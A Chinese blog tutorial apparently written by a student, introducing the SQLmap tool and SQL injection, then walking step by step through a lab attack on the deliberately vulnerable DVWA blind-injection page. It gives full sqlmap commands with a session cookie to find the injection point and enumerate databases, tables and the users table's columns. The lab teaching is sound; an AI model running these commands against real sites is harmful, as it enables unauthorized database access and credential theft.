利用SQLmap实现 SQL 注入

SQLmap简介

SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。

SQLMAP是开源的自动化SQL注入工具,由Python写成,具有如下特点:

  1. 完全支持MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
  2. 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
  3. 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
  4. 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
  5. 支持自动识别密码哈希格式并通过字典破解密码哈希。
  6. 支持完全地下载某个数据库中的某个表、也可以只下载某个表中的某几列。
  7. 支持在数据库管理系统中搜索指定的数据库名、表名和列名
  8. 当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持下载或上传文件。
  9. 当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持执行任意命令并回显标准输出。

SQL 注入简介

SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情,这些学长们一般用的就是SQL注入方法。

SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。

这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。

利用SQLmap实现 SQL 注入

环境准备

  1. 开启OWASP靶机和Kali虚拟机
  2. kali中登陆dvwa(用户名和密码都是 admin),进入 SQL Injection(Blind)页面,安全等级调为low

在这里插入图片描述

利用SQLmap实现 SQL 注入案例

1.输入数字后提交

随意输入一个数字,如将ID输入为:1,然后单击“提交”。在浏览器地址栏复制URL

在这里插入图片描述

2.使用开发者工具为后续工作做准备

F12打开开发者工具,选中Storage(存储)选项卡,找到cookies,复制其中的PHPSESSID的值(获取cookies,为之后绕过登录页面做准备)

在这里插入图片描述

3.输入命令来实现绕过登录页面

由于浏览器提交方式为get型,sqlmap采用-u命令。将刚才复制的URL和COOKIE写入命令:

sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch

(使用sqlmap进行get型注入,cookie用来绕过登录页面)
复制cookie值后,排成如下格式:
security=low;PHPSESSID=glp39jv1sjcs2gbem1pu105hu2

在这里插入图片描述

可以获取到注入点:

在这里插入图片描述

4.为了查看有哪些数据库

输入命令:

sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch --dbs

在这里插入图片描述

5.为了查看有当前数据库

输入命令:
sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch --current-db

在这里插入图片描述

6.为了查看数据库中所有的表

输入命令:
sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch -D dvwa --tables
在这里插入图片描述

7.为了查看users表中有哪些列

输入命令:
sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch -D dvwa -T users --columns
在这里插入图片描述

8.爆破表中user和password这两列

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

21计算机网络技术2班陆利丽

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值